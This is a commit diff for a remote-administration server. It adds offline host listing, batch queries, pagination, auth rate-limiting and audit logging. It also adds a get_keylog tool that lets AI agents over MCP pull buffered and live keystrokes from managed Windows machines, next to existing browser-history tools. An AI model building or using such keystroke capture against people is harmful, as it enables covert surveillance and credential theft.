Feature: Add offline hosts, batch reads and MCP hardening
Expose hosts the server already knows about. list_all_hosts enumerates both live contexts and the historical records in the client list, with authStatus as a three-state string instead of a boolean. search_hosts now honours online=false instead of returning an empty list, while the default stays online-only so existing callers see the same results. get_host_detail falls back to the last known record for an offline host rather than failing with -32002. Let read-only tools take an ids array of up to 50 hosts in one call. The batch path reuses the single-host dispatcher and pages per host, so behaviour cannot drift; write tools reject ids with -32602 so a mistake cannot fan out across machines. Add get_keylog behind its own McpKeylog switch. It drives the client's existing keylogger sub-connection, accumulates the streamed text for a bounded window and byte cap, then closes the sub-connection and returns UTF-8 lines. The client pushes its buffered history first, so a result contains both history and fresh keystrokes; the tool description says so. Harden the endpoint. Failed bearer checks are counted per source IP and ten failures within a minute block the IP for fifteen minutes. Auth failures and tool calls append to logs\mcp_audit.log with metadata only: no token, no arguments, no response bodies, and rotation at 5 MB. Loopback sources are audited but never blocked, because the built-in frp tunnel makes every remote request arrive from 127.0.0.1 and banning that address would lock out legitimate clients along with the attacker. Give list-style tools one pagination contract (limit/offset plus total/totalAll/hasMore) and fix the generated schemas so id and ids are genuine alternatives: the stale required:[id] left over from the single-host schema would otherwise reject ids-only calls. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
cc0e4bbd7a
commit
ac5b174b5f
12 files changed
+1191
-86
No files matched your search
@@ -258,6 +258,7 @@ Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);
|
||||
| `McpPort` | `6544` | MCP 监听端口;仅当 `McpEnabled=1` 时生效;未配置用默认 `6544` |
|
||||
| `McpBind` | `127.0.0.1` | 监听地址;默认仅本机;可设 `0.0.0.0`(所有网卡)或内网 IP(如 `192.168.0.92`)以支持远程 |
|
||||
| `McpToken` | 空(UI 默认随机值) | 静态 token;对话框内「token 必填、默认随机值」——首次打开若为空则预填随机并随保存持久化。运行时优先级:env `YAMA_MCP_TOKEN` → `McpToken` → 皆空则随机生成(见 §3.5) |
|
||||
| `McpKeylog` | `0` | 键盘记录工具 `get_keylog` 的独立开关(见 §9.3);与 `McpReadonly` 无关,改动需重启生效 |
|
||||
|
||||
> 与旧版「`McpPort=0` 即禁用」不同:启用与否改由独立的 `McpEnabled` 开关控制,`McpPort` 回归纯端口语义,二者解耦。
|
||||
|
||||
@@ -444,3 +445,50 @@ void CMcpSettingsDlg::OnBnClickedBtnSave()
|
||||
- ✅ **取数方案**:C(抽公共函数 `BuildHostJson`,MCP 与 WebService 平级复用)。
|
||||
- ✅ **返回字段**:全量,含实时信息(`rtt` / `activeWindow`),支持 AI 监督场景。
|
||||
- ✅ **序列化**:`structuredContent` + `outputSchema`,`content` 附带可读摘要。
|
||||
|
||||
---
|
||||
|
||||
## 9. 增补(2026-10-25:N1–N5)
|
||||
|
||||
本轮在既有工具族(P2–P9)之上补齐「能找到主机、能一次查多台、输出不撑爆上下文、认证可追溯」四件事,全部为服务端改动,客户端零改动。
|
||||
|
||||
### 9.1 N1 离线主机可见
|
||||
|
||||
- 新增工具 `list_all_hosts`(`online` / `offline` 两个布尔过滤,默认都为 `true`),数据源是 `m_ClientMap`(主机列表历史记录,`GetAll()` 快照 + `m_cs` 保护),在线条目复用 `BuildHostJson`,离线条目由 `BuildOfflineHostJson` 生成,字段:`id` / `name` / `remark` / `ip` / `os` / `location` / `online` / `group` / `last_seen` / `install_time` / `authStatus`。
|
||||
- `search_hosts` 的 `online` 参数:`true` = 仅在线,`false` = 仅离线(修复此前 `online=false` 永远返回空列表的问题),缺省 = 仅在线(与改动前一致,不改变既有调用方看到的结果)。两类都要请用 `list_all_hosts`。
|
||||
- `authStatus` 是 `ClientValue::Authorized` 的三态枚举(`unauthorized` / `authorized_by_super` / `authorized_by_admin` / `forbidden`),不是布尔值。
|
||||
- `get_host_detail` 对「在 `m_ClientMap` 里但当前离线」的 id 不再返回 `-32002`,改为返回该主机的最后记录(`online=false`),使 `list_all_hosts` 的结果可直接消费。
|
||||
|
||||
### 9.2 N2 批量只读调用
|
||||
|
||||
- 只读工具支持 `ids: []`(最多 50 个),与 `id` 二选一(inputSchema 用 `anyOf` 表达)。命中批量的工具:`get_host_detail` / `list_processes` / `list_windows` / `list_services` / `list_files` / `list_registry` / `get_client_log` / `get_activity_history` / `list_network_connections` / 全部 `host_list_*` / `host_get_hosts_file`。
|
||||
- 写操作工具传 `ids` 直接 `-32602` 拒绝(不逐个执行,避免误操作扩散)。
|
||||
- 返回:`{tool, total, succeeded, failed, results:[{id, ok, data|error, text}]}`;`content` 里是「共 N 台,成功 X 台,失败 Y 台」+ 最多 ~1200 字节的失败明细。
|
||||
- `limit` / `offset` 对每台主机各自生效;批量是串行执行,单台超时会占用整批等待时间。
|
||||
|
||||
### 9.3 N3 `get_keylog`
|
||||
|
||||
- 复用客户端既有键盘记录链路:主连接下发 `COMMAND_KEYBOARD(169)` → 客户端建子连接 → 子连接回 `TOKEN_KEYBOARD_START(293)` 作为就绪包绑定 → 之后每约 1 秒推一包 `TOKEN_KEYBOARD_DATA(294)`。
|
||||
- 服务端把击键流**累积**(不是一问一答),窗口 `duration_ms`(默认 4000,1000–15000)或字节上限 `max_bytes`(默认 64 KiB,1024–256 KiB)先到者结束;结束时 `EndManagedSession(..., cancelIo=true)` 关闭子连接 —— 与 MFC 关对话框同一路径,客户端据此停止记录。
|
||||
- 复用 P8 的挂起会话表(新增 `PendingKind::Keylog`,仍受「单设备单飞行」约束),就绪包绑定、迟到包墓碑、子连接断开唤醒全部沿用 P8 逻辑;绑定后服务端回 `COMMAND_NEXT`,让客户端 `WaitForDialogOpen` 立即返回(本工具不开 UI)。
|
||||
- 返回 `{id, duration_ms, bytes, lines, lineCount, truncated}`,文本按客户端代码页转 UTF-8(`GetClientEncoding`)。**注意**:客户端连上后会先把缓冲区里已有的历史记录推过来,所以结果既含历史也含窗口期内的新击键。
|
||||
- 独立开关 `McpKeylog`(默认 `0`,不要求只读关)。工具只在开关打开时出现在 `tools/list`,关闭时直接调用返回 `-32006`。
|
||||
- 隐私:击键内容只进本次响应;审计只记 `CALL_OK tool=get_keylog ms=… bytes=…`,不落任何正文。
|
||||
|
||||
### 9.4 N4 认证加固
|
||||
|
||||
- 静态 token 校验失败:返回 401,并按来源 IP 计数;60 秒窗口内失败 10 次即封禁该 IP 900 秒,封禁期内返回 429 + `Retry-After`。失败表上限 1024,满时先清理过期项。
|
||||
- 环回来源(`127.0.0.1` / `::1`)**只记账不封禁**:内置 frpc 把 MCP 端口映射出去时是「本机连本机」,且这条转发没开 Proxy Protocol(httplib 不解析),服务端看到的源地址恒为环回。若按 IP 封禁,一次外部扫描就能把隧道后面所有客户端(包括自己)锁死 15 分钟。审计里这类封禁触发记为 `AUTH_BLOCK ... scope=proxy-source-exempt`。
|
||||
- 审计文件 `<exe>\logs\mcp_audit.log`(追加写,5 MB 轮转为 `.1`),每行:时间戳(毫秒)、事件、来源 IP、详情。
|
||||
- `AUTH_FAIL`:UA(截断/清洗)、body 大小、是否因此被封禁。
|
||||
- `AUTH_BLOCK`:封禁生效。
|
||||
- `CALL_OK` / `CALL_FAIL`:`tool=`、耗时 `ms=`、响应字节数 `bytes=`。
|
||||
- 审计**不记录** token、密码、哈希、剪贴板内容或工具返回正文。
|
||||
|
||||
### 9.5 N5 列表输出治理
|
||||
|
||||
- 列表类工具统一 `limit` / `offset`:默认 `limit=100`,硬上限 `1000`,`offset` 默认 0;非正数按默认值处理。
|
||||
- `structuredContent` 统一附 `total` / `totalAll` / `offset` / `limit` / `hasMore`,与 `McpMachine.cpp` 既有约定一致(`host_list_*` / `list_network_connections` 本来就是这样)。
|
||||
- `content` 摘要统一为「共 N <单位>,本次返回第 a-b 条(还有更多,可用 offset 继续取)。」;`hasMore=false` 时不再出现「继续取」的误导提示;`offset` 越界时明确写「offset 超出范围,本次返回 0 条」。
|
||||
- 实现集中在 `McpInternal.h/.cpp`:`PageWindow` / `ResolvePageWindow` / `ApplyPageWindow` / `WritePageFields` / `AppendPagingProps` / `PageSummary`。
|
||||
- `list_files` 仍受客户端单次 500 条的硬限制(`total=500` 表示客户端截断,不是服务端分页)。
|
||||
@@ -2430,6 +2430,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
THIS_CFG.GetInt("settings", "McpMachineDangerous", 0) != 0);
|
||||
// P9 远程交谈(chat_*):独立开关默认关,与只读开关无关。
|
||||
McpServer().SetChatEnabled(THIS_CFG.GetInt("settings", "McpChat", 0) != 0);
|
||||
// N3 键盘记录(get_keylog):独立开关默认关,与只读开关无关。
|
||||
McpServer().SetKeylogEnabled(THIS_CFG.GetInt("settings", "McpKeylog", 0) != 0);
|
||||
if (!McpServer().Start(mcpBind, mcpPort)) {
|
||||
Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
|
||||
} else {
|
||||
|
||||
@@ -207,4 +207,104 @@ void AuditChatAction(CMy2015RemoteDlg* parent, uint64_t devId,
|
||||
(LPARAM)new CString(_TR("MCP远程交谈")));
|
||||
}
|
||||
|
||||
// ===== 列表输出治理 =====
|
||||
|
||||
PageWindow ResolvePageWindow(const Json::Value& args, int defaultLimit, int maxLimit) {
|
||||
PageWindow w;
|
||||
w.limit = defaultLimit;
|
||||
if (args.isObject()) {
|
||||
if (args.isMember("limit") && args["limit"].isInt()) {
|
||||
int v = args["limit"].asInt();
|
||||
if (v > 0) w.limit = v; // 0/负数视为未指定,用默认值
|
||||
}
|
||||
if (args.isMember("offset") && args["offset"].isInt()) {
|
||||
int v = args["offset"].asInt();
|
||||
if (v > 0) w.offset = v;
|
||||
}
|
||||
}
|
||||
if (w.limit > maxLimit) w.limit = maxLimit;
|
||||
return w;
|
||||
}
|
||||
|
||||
void ApplyPageWindow(const Json::Value& all, PageWindow& w, Json::Value& out) {
|
||||
out = Json::Value(Json::arrayValue);
|
||||
w.total = all.isArray() ? (int)all.size() : 0;
|
||||
w.totalAll = w.total;
|
||||
int begin = w.offset < w.total ? w.offset : w.total;
|
||||
int end = (begin + w.limit < w.total) ? begin + w.limit : w.total;
|
||||
for (int i = begin; i < end; ++i) out.append(all[i]);
|
||||
w.returned = end > begin ? end - begin : 0;
|
||||
w.hasMore = end < w.total;
|
||||
}
|
||||
|
||||
void WritePageFields(Json::Value& structuredContent, const PageWindow& w) {
|
||||
structuredContent["total"] = w.total;
|
||||
structuredContent["totalAll"] = w.totalAll;
|
||||
structuredContent["offset"] = w.offset;
|
||||
structuredContent["limit"] = w.limit;
|
||||
structuredContent["hasMore"] = w.hasMore;
|
||||
}
|
||||
|
||||
void AppendPagingProps(Json::Value& props, int defaultLimit, int maxLimit) {
|
||||
Json::Value limitProp(Json::objectValue);
|
||||
limitProp["type"] = "integer";
|
||||
limitProp["description"] = std::string(u8"本次最多返回的条数,默认 ") +
|
||||
std::to_string(defaultLimit) + std::string(u8",上限 ") +
|
||||
std::to_string(maxLimit) + std::string(u8"。");
|
||||
props["limit"] = limitProp;
|
||||
|
||||
Json::Value offsetProp(Json::objectValue);
|
||||
offsetProp["type"] = "integer";
|
||||
offsetProp["description"] = u8"跳过前 N 条,默认 0;配合返回的 total/hasMore 翻页。";
|
||||
props["offset"] = offsetProp;
|
||||
}
|
||||
|
||||
void AppendBatchIdsProp(Json::Value& props) {
|
||||
Json::Value idsProp(Json::objectValue);
|
||||
idsProp["type"] = "array";
|
||||
Json::Value items(Json::objectValue);
|
||||
items["type"] = "string";
|
||||
idsProp["items"] = items;
|
||||
idsProp["description"] = std::string(u8"批量查询:一次传多台主机 id(最多 50 个),"
|
||||
u8"结果按台汇总在 results 里。与 id 二选一,仅只读工具支持;"
|
||||
u8"limit/offset 对每台主机各自生效。");
|
||||
props["ids"] = idsProp;
|
||||
}
|
||||
|
||||
void MakeIdOrIdsRequired(Json::Value& schema) {
|
||||
// 调用方可能先按单机 schema 生成了 required:["id"]:留着它会让「只传 ids」违反 schema
|
||||
// (required 与 anyOf 同时生效)。这里只清理这一个精确形态,别的 required 不动。
|
||||
if (schema.isMember("required") && schema["required"].isArray() &&
|
||||
schema["required"].size() == 1 && schema["required"][0].isString() &&
|
||||
schema["required"][0].asString() == "id") {
|
||||
schema.removeMember("required");
|
||||
}
|
||||
|
||||
Json::Value anyOf(Json::arrayValue);
|
||||
for (const char* key : { "id", "ids" }) {
|
||||
Json::Value alt(Json::objectValue);
|
||||
Json::Value req(Json::arrayValue);
|
||||
req.append(key);
|
||||
alt["required"] = req;
|
||||
anyOf.append(alt);
|
||||
}
|
||||
schema["anyOf"] = anyOf;
|
||||
}
|
||||
|
||||
std::string PageSummary(const PageWindow& w, const char* unit) {
|
||||
std::string s = std::string(u8"共 ") + std::to_string(w.total) + std::string(u8" ") + unit;
|
||||
if (w.total == 0) return s + std::string(u8"。");
|
||||
|
||||
int begin = w.offset < w.total ? w.offset : w.total;
|
||||
if (begin >= w.total) {
|
||||
s += std::string(u8",offset 超出范围,本次返回 0 条。");
|
||||
return s;
|
||||
}
|
||||
int end = (begin + w.limit < w.total) ? begin + w.limit : w.total;
|
||||
s += std::string(u8",本次返回第 ") + std::to_string(begin + 1) + "-" +
|
||||
std::to_string(end) + std::string(u8" 条");
|
||||
if (w.hasMore) s += std::string(u8"(还有更多,可用 offset 继续取)");
|
||||
return s + std::string(u8"。");
|
||||
}
|
||||
|
||||
} // namespace McpInternal
|
||||
@@ -68,4 +68,40 @@ void AuditManageAction(CMy2015RemoteDlg* parent, uint64_t devId,
|
||||
void AuditChatAction(CMy2015RemoteDlg* parent, uint64_t devId,
|
||||
const std::string& tool, const std::string& detail);
|
||||
|
||||
// ===== 列表输出治理 =====
|
||||
//
|
||||
// 列表类工具统一走 limit/offset:默认 limit=100,硬上限 1000,offset 默认 0。
|
||||
// structuredContent 里同时给出 total/totalAll/offset/limit/hasMore,与
|
||||
// McpMachine.cpp 的 host_list_*/list_network_connections 保持同一套字段,
|
||||
// 调用方据此翻页,而不是让一次返回把上下文撑爆。
|
||||
struct PageWindow {
|
||||
int offset = 0;
|
||||
int limit = 100;
|
||||
int total = 0; // ApplyPageWindow 填入:切片前的总条数(本工具无二次过滤,故等于 totalAll)
|
||||
int totalAll = 0;
|
||||
int returned = 0; // 本次实际返回条数
|
||||
bool hasMore = false; // 窗口之后还有条目(供调用方判断是否继续翻页)
|
||||
};
|
||||
|
||||
// 读 args 里的 limit/offset(缺省/非法/非正数按默认值,limit 超上限截断到上限)。
|
||||
PageWindow ResolvePageWindow(const Json::Value& args, int defaultLimit = 100, int maxLimit = 1000);
|
||||
|
||||
// 按窗口切片:out = all[offset, offset+limit),并回填 w.total/totalAll/returned/hasMore。
|
||||
void ApplyPageWindow(const Json::Value& all, PageWindow& w, Json::Value& out);
|
||||
|
||||
// 把 total/totalAll/offset/limit/hasMore 写进 structuredContent。
|
||||
void WritePageFields(Json::Value& structuredContent, const PageWindow& w);
|
||||
|
||||
// 往 inputSchema 的 properties 追加 limit / offset 两个字段。
|
||||
void AppendPagingProps(Json::Value& props, int defaultLimit = 100, int maxLimit = 1000);
|
||||
|
||||
// 往 inputSchema 的 properties 追加 ids(只读工具的批量入口,最多 50 个 id)。
|
||||
void AppendBatchIdsProp(Json::Value& props);
|
||||
|
||||
// 把 inputSchema 的必填约束改成「id 或 ids 二选一」。
|
||||
void MakeIdOrIdsRequired(Json::Value& schema);
|
||||
|
||||
// 统一的提示文字,例如「共 283 个进程,本次返回第 1-100 条(还有更多,可用 offset 继续取)。」
|
||||
std::string PageSummary(const PageWindow& w, const char* unit);
|
||||
|
||||
} // namespace McpInternal
|
||||
@@ -55,6 +55,9 @@ const int kSessionDeadlineMs = 60000;
|
||||
// 单个包的上限:正常列表远小于此;超过即视为异常,置 clientError 并断开子连接。
|
||||
const size_t kMaxPacketBytes = 8u * 1024u * 1024u;
|
||||
|
||||
// N3 键盘记录:一次 get_keylog 最多累积的击键字节(超出部分丢弃并置 truncated)。
|
||||
const size_t kKeylogMaxBytes = 256u * 1024u;
|
||||
|
||||
const size_t kConnRecordSize = sizeof(ConnectionInfo);
|
||||
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo layout changed; update the parser");
|
||||
static_assert(sizeof(WINDOWSINFO) == 1044, "WINDOWSINFO layout changed; update the parser");
|
||||
@@ -970,6 +973,7 @@ std::string NotFoundJson(const Json::Value& id, const std::string& what) {
|
||||
bool CMcpServer::KindAcceptsToken(PendingKind kind, BYTE token) {
|
||||
if (kind == PendingKind::Machine) return token == (BYTE)TOKEN_SYSINFOLIST;
|
||||
if (kind == PendingKind::ConnMgr) return token == (BYTE)TOKEN_CONNECTION_LIST;
|
||||
if (kind == PendingKind::Keylog) return token == (BYTE)TOKEN_KEYBOARD_START;
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -1015,6 +1019,36 @@ bool CMcpServer::BeginConnMgrSession(uint64_t device_id, const std::string& tool
|
||||
return BeginManagedSession(device_id, tool, PendingKind::ConnMgr, mainCtx);
|
||||
}
|
||||
|
||||
// ===== N3:键盘记录会话 =====
|
||||
|
||||
bool CMcpServer::BeginKeylogSession(uint64_t device_id, const std::string& tool, context* mainCtx) {
|
||||
return BeginManagedSession(device_id, tool, PendingKind::Keylog, mainCtx);
|
||||
}
|
||||
|
||||
CMcpServer::KeylogWaitResult CMcpServer::WaitKeylogData(uint64_t device_id, std::string& out,
|
||||
int timeoutMs, bool& truncated) {
|
||||
std::unique_lock<std::mutex> lk(m_PendingMutex);
|
||||
auto deadline = std::chrono::steady_clock::now() + std::chrono::milliseconds(timeoutMs);
|
||||
for (;;) {
|
||||
auto it = m_Pending.find(device_id);
|
||||
if (it == m_Pending.end() || it->second.kind != PendingKind::Keylog)
|
||||
return KeylogWaitResult::Closed;
|
||||
|
||||
PendingRequest& r = it->second;
|
||||
if (!r.keylogBuf.empty()) {
|
||||
out.swap(r.keylogBuf); // out 拿到数据;r.keylogBuf 变成 out 的旧内容
|
||||
r.keylogBuf.clear();
|
||||
truncated = r.keylogTruncated;
|
||||
return KeylogWaitResult::Ok;
|
||||
}
|
||||
if (r.closed) return KeylogWaitResult::Closed;
|
||||
|
||||
if (deadline > r.deadline) deadline = r.deadline;
|
||||
if (std::chrono::steady_clock::now() >= deadline) return KeylogWaitResult::Timeout;
|
||||
m_PendingCv.wait_until(lk, deadline);
|
||||
}
|
||||
}
|
||||
|
||||
void CMcpServer::ArmManagedResponse(uint64_t device_id, BYTE expectedToken) {
|
||||
std::lock_guard<std::mutex> lk(m_PendingMutex);
|
||||
auto it = m_Pending.find(device_id);
|
||||
@@ -1040,7 +1074,8 @@ CMcpServer::ManagedWaitResult CMcpServer::WaitManagedPacket(uint64_t device_id,
|
||||
if (it == m_Pending.end()) return ManagedWaitResult::Closed;
|
||||
|
||||
PendingRequest& r = it->second;
|
||||
if (r.kind != PendingKind::Machine && r.kind != PendingKind::ConnMgr)
|
||||
if (r.kind != PendingKind::Machine && r.kind != PendingKind::ConnMgr &&
|
||||
r.kind != PendingKind::Keylog)
|
||||
return ManagedWaitResult::Closed;
|
||||
|
||||
subCtxOut = r.subCtx; // 绑定可能发生在等待期间
|
||||
@@ -1083,7 +1118,8 @@ void CMcpServer::EndManagedSession(uint64_t device_id, bool cancelIo, bool markO
|
||||
return;
|
||||
}
|
||||
PendingRequest& r = it->second;
|
||||
if (r.kind != PendingKind::Machine && r.kind != PendingKind::ConnMgr) return;
|
||||
if (r.kind != PendingKind::Machine && r.kind != PendingKind::ConnMgr &&
|
||||
r.kind != PendingKind::Keylog) return;
|
||||
|
||||
sub = r.subCtx;
|
||||
kind = r.kind;
|
||||
@@ -1115,7 +1151,8 @@ bool CMcpServer::OnManagedSubPacket(context* subCtx, const BYTE* data, ULONG len
|
||||
|
||||
BYTE token = data[0];
|
||||
bool readyToken = (token == (BYTE)TOKEN_SYSINFOLIST) ||
|
||||
(token == (BYTE)TOKEN_CONNECTION_LIST);
|
||||
(token == (BYTE)TOKEN_CONNECTION_LIST) ||
|
||||
(token == (BYTE)TOKEN_KEYBOARD_START);
|
||||
// 快速路径:没有已绑定/已吸收的子连接,且不是就绪包 → 与 P8 无关。
|
||||
// MessageHandle 每个包都会调用本函数(含音频/屏幕等高频子连接),不能逐包抢锁。
|
||||
if (!readyToken && m_ManagedRoutes.load(std::memory_order_relaxed) == 0) return false;
|
||||
@@ -1134,7 +1171,9 @@ bool CMcpServer::OnManagedSubPacket(context* subCtx, const BYTE* data, ULONG len
|
||||
uint64_t dev = bindIt->second;
|
||||
auto it = m_Pending.find(dev);
|
||||
if (it == m_Pending.end() ||
|
||||
(it->second.kind != PendingKind::Machine && it->second.kind != PendingKind::ConnMgr)) {
|
||||
(it->second.kind != PendingKind::Machine &&
|
||||
it->second.kind != PendingKind::ConnMgr &&
|
||||
it->second.kind != PendingKind::Keylog)) {
|
||||
// 会话已结束但包还在路上:吸收并断开
|
||||
m_SubCtxToDevice.erase(bindIt);
|
||||
m_AbsorbedSubCtx.insert(subCtx);
|
||||
@@ -1159,6 +1198,19 @@ bool CMcpServer::OnManagedSubPacket(context* subCtx, const BYTE* data, ULONG len
|
||||
m_PendingCv.notify_all();
|
||||
return true;
|
||||
}
|
||||
if (r.kind == PendingKind::Keylog) {
|
||||
// N3:击键流是「累积」而非「一问一答」,任何包都不回 MFC;
|
||||
// 只收 TOKEN_KEYBOARD_DATA(首字节之后即文本),累积到上限后丢弃并置 truncated。
|
||||
if (token == (BYTE)TOKEN_KEYBOARD_DATA && len > 1) {
|
||||
size_t n = (size_t)(len - 1);
|
||||
size_t room = r.keylogBuf.size() < kKeylogMaxBytes
|
||||
? kKeylogMaxBytes - r.keylogBuf.size() : 0;
|
||||
if (n > room) { n = room; r.keylogTruncated = true; }
|
||||
if (n > 0) r.keylogBuf.append((const char*)data + 1, n);
|
||||
m_PendingCv.notify_all();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
if (r.expectedToken != 0 && token == r.expectedToken) {
|
||||
r.response.assign(data, data + len);
|
||||
r.hasResponse = true;
|
||||
@@ -1179,8 +1231,9 @@ bool CMcpServer::OnManagedSubPacket(context* subCtx, const BYTE* data, ULONG len
|
||||
if (!readyToken) return false;
|
||||
if (mainIsSelf) return false;
|
||||
|
||||
PendingKind wantKind = (token == (BYTE)TOKEN_SYSINFOLIST) ? PendingKind::Machine
|
||||
: PendingKind::ConnMgr;
|
||||
PendingKind wantKind = (token == (BYTE)TOKEN_SYSINFOLIST) ? PendingKind::Machine
|
||||
: (token == (BYTE)TOKEN_CONNECTION_LIST) ? PendingKind::ConnMgr
|
||||
: PendingKind::Keylog;
|
||||
|
||||
// 3a. 按 clientID 精确匹配(新客户端经 TOKEN_CONN_AUTH 已钉 ID)
|
||||
uint64_t boundDev = 0;
|
||||
@@ -1267,7 +1320,8 @@ void CMcpServer::OnManagedContextClosed(context* subCtx) {
|
||||
|
||||
for (auto& kv : m_Pending) {
|
||||
PendingRequest& r = kv.second;
|
||||
if (r.kind != PendingKind::Machine && r.kind != PendingKind::ConnMgr) continue;
|
||||
if (r.kind != PendingKind::Machine && r.kind != PendingKind::ConnMgr &&
|
||||
r.kind != PendingKind::Keylog) continue;
|
||||
if (r.subCtx == subCtx || r.mainCtx == subCtx) {
|
||||
Mprintf("[MCP-P8] context closed dev=%llu tool=%s: wake waiter\n",
|
||||
kv.first, r.tool.c_str());
|
||||
@@ -2593,6 +2647,22 @@ Json::Value ReadInputSchema(Json::Value props) {
|
||||
return MakeSchema(props, { "id" });
|
||||
}
|
||||
|
||||
// 只读工具公共 input:id / ids 二选一 + 分页(批量调用,N2)
|
||||
Json::Value ReadInputSchemaBatch(Json::Value props) {
|
||||
Json::Value schema = ReadInputSchema(props);
|
||||
AppendBatchIdsProp(schema["properties"]);
|
||||
MakeIdOrIdsRequired(schema);
|
||||
return schema;
|
||||
}
|
||||
|
||||
// 只有 id/ids、没有分页的只读工具(host_get_hosts_file 用 max_bytes 控大小)
|
||||
Json::Value IdOrIdsSchema(Json::Value props) {
|
||||
AppendBatchIdsProp(props);
|
||||
Json::Value schema = MakeSchema(props, {});
|
||||
MakeIdOrIdsRequired(schema);
|
||||
return schema;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool Handles(const std::string& toolName) {
|
||||
@@ -2630,7 +2700,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["state"] = PropStr(u8"按状态过滤:数字(MIB_TCP_STATE_*)或状态名子串,如 ESTABLISHED");
|
||||
AddTool(tools, "list_network_connections",
|
||||
u8"列出指定在线 Windows 主机的 TCP/UDP 连接(相当于「连接管理」对话框)。返回四元组、所属进程与 TCP 状态;killable=true 表示该连接可被 kill_network_connection 断开。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("connections", ConnectionItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("connections", ConnectionItemSchema()));
|
||||
}
|
||||
if (writable && mcp.IsManageEnabled()) {
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2657,7 +2727,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["arch"] = PropStrEnum(u8"按架构过滤", { "x86", "x64" });
|
||||
AddTool(tools, "host_list_processes",
|
||||
u8"列出在线 Windows 主机的进程(主机管理「进程」标签页)。返回 PID、架构、窗口标题、路径、优先级、线程数、用户、工作集与文件大小。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("processes", ProcessItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("processes", ProcessItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2665,7 +2735,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["title"] = PropStr(u8"按窗口标题子串过滤");
|
||||
AddTool(tools, "host_list_windows",
|
||||
u8"列出在线 Windows 主机上当前可见的顶层窗口(主机管理「窗口」标签页)。只包含可见窗口,故隐藏后窗口会从结果中消失。hwnd 可用于 host_control_window。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("windows", WindowItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("windows", WindowItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2677,7 +2747,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["state"] = PropStr(u8"按状态子串过滤");
|
||||
AddTool(tools, "host_list_network_state",
|
||||
u8"列出在线 Windows 主机的网络连接及其所属进程(主机管理「网络状态」标签页)。数据来源与「连接管理」不同(这里是进程视角、含 UDP 的无对端标记);仅支持 IPv4 展示。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("connections", NetStateItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("connections", NetStateItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2685,7 +2755,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["publisher"] = PropStr(u8"按发布者子串过滤");
|
||||
AddTool(tools, "host_list_software",
|
||||
u8"列出在线 Windows 主机已安装的软件(主机管理「软件」标签页,来自注册表 Uninstall 项)。只读;不提供卸载能力。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("software", SoftwareItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("software", SoftwareItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2693,7 +2763,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["url"] = PropStr(u8"按 URL 子串过滤");
|
||||
AddTool(tools, "host_list_browser_history",
|
||||
u8"列出在线 Windows 主机的 IE 浏览历史(主机管理「浏览记录」标签页)。隐私数据,仅在显式开启主机管理时可见。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("history", HistoryItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("history", HistoryItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2701,7 +2771,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["url"] = PropStr(u8"按 URL 子串过滤");
|
||||
AddTool(tools, "host_list_favorites",
|
||||
u8"列出在线 Windows 主机的 IE 收藏夹(主机管理「收藏夹」标签页)。隐私数据,仅在显式开启主机管理时可见。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("favorites", FavoriteItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("favorites", FavoriteItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2710,7 +2780,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["start_type"] = PropStr(u8"按启动类型子串过滤,如 Auto");
|
||||
AddTool(tools, "host_list_win32_services",
|
||||
u8"列出在线 Windows 主机的 Win32 服务(主机管理「服务」标签页之一)。返回显示名、描述、状态、启动类型、登录身份、服务名与可执行路径;服务名可用于 host_control_service。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("services", ServiceItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("services", ServiceItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2719,7 +2789,7 @@ void AppendTools(Json::Value& tools) {
|
||||
props["start_type"] = PropStr(u8"按启动类型子串过滤");
|
||||
AddTool(tools, "host_list_driver_services",
|
||||
u8"列出在线 Windows 主机的驱动服务(主机管理「服务」标签页之一)。字段同 host_list_win32_services。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("services", ServiceItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("services", ServiceItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2728,7 +2798,7 @@ void AppendTools(Json::Value& tools) {
|
||||
